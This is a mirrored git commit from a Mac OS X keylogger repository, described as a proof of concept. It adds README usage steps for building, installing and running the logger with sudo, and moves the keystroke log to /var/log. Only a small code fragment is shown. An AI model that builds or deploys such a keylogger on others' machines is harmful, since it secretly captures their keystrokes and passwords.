mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Update README.md and set log location to /var/log/keystroke.log.
This commit is contained in:
parent
48de73990c
commit
b2f3004096
23
README.md
23
README.md
@ -1,3 +1,24 @@
|
||||
# Mac OS X Keylogger
|
||||
|
||||
This repository holds the code for a simple and easy to use keylogger for Mac OS X. It is not meant to be malicious, and is written as a proof of concept. There is not a lot of information on keyloggers or implementing them on Mac OS X, and most of the ones I've seen do not work as indicated. This project aims to be a simple implementation on how it can be accomplished on OS X.
|
||||
This repository holds the code for a simple and easy to use keylogger for Mac OS X. It is not meant to be malicious, and is written as a proof of concept. There is not a lot of information on keyloggers or implementing them on Mac OS X, and most of the ones I've seen do not work as indicated. This project aims to be a simple implementation on how it can be accomplished on OS X.
|
||||
|
||||
## Usage
|
||||
|
||||
Start by cloning the repository and running the proper make commands, shown below. By default, the application installs to `/usr/local/bin/keylogger`.
|
||||
|
||||
```bash
|
||||
$ git clone https://github.com/caseyscarborough/keylog && cd keylog
|
||||
$ make
|
||||
$ make install
|
||||
```
|
||||
|
||||
The application by default logs to `/var/log/keystroke.log`, which may require root access depending on your system's permissions. You can change this in [`keylogger.h`](https://github.com/caseyscarborough/keylog/blob/master/keylogger.h#L14) if necessary.
|
||||
|
||||
```bash
|
||||
$ sudo keylogger
|
||||
Logging to: /var/log/keystroke.log
|
||||
```
|
||||
|
||||
## Contributing
|
||||
|
||||
Feel free to fork the project and submit a pull request with your changes!
|
@ -11,7 +11,7 @@
|
||||
using namespace std;
|
||||
|
||||
FILE *logfile = NULL;
|
||||
const char *logfileLocation = "./keystroke.log";
|
||||
const char *logfileLocation = "/var/log/keystroke.log";
|
||||
|
||||
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
|
||||
const char *convertKeyCode(int);
|
||||
|
Loading…
x
Reference in New Issue
Block a user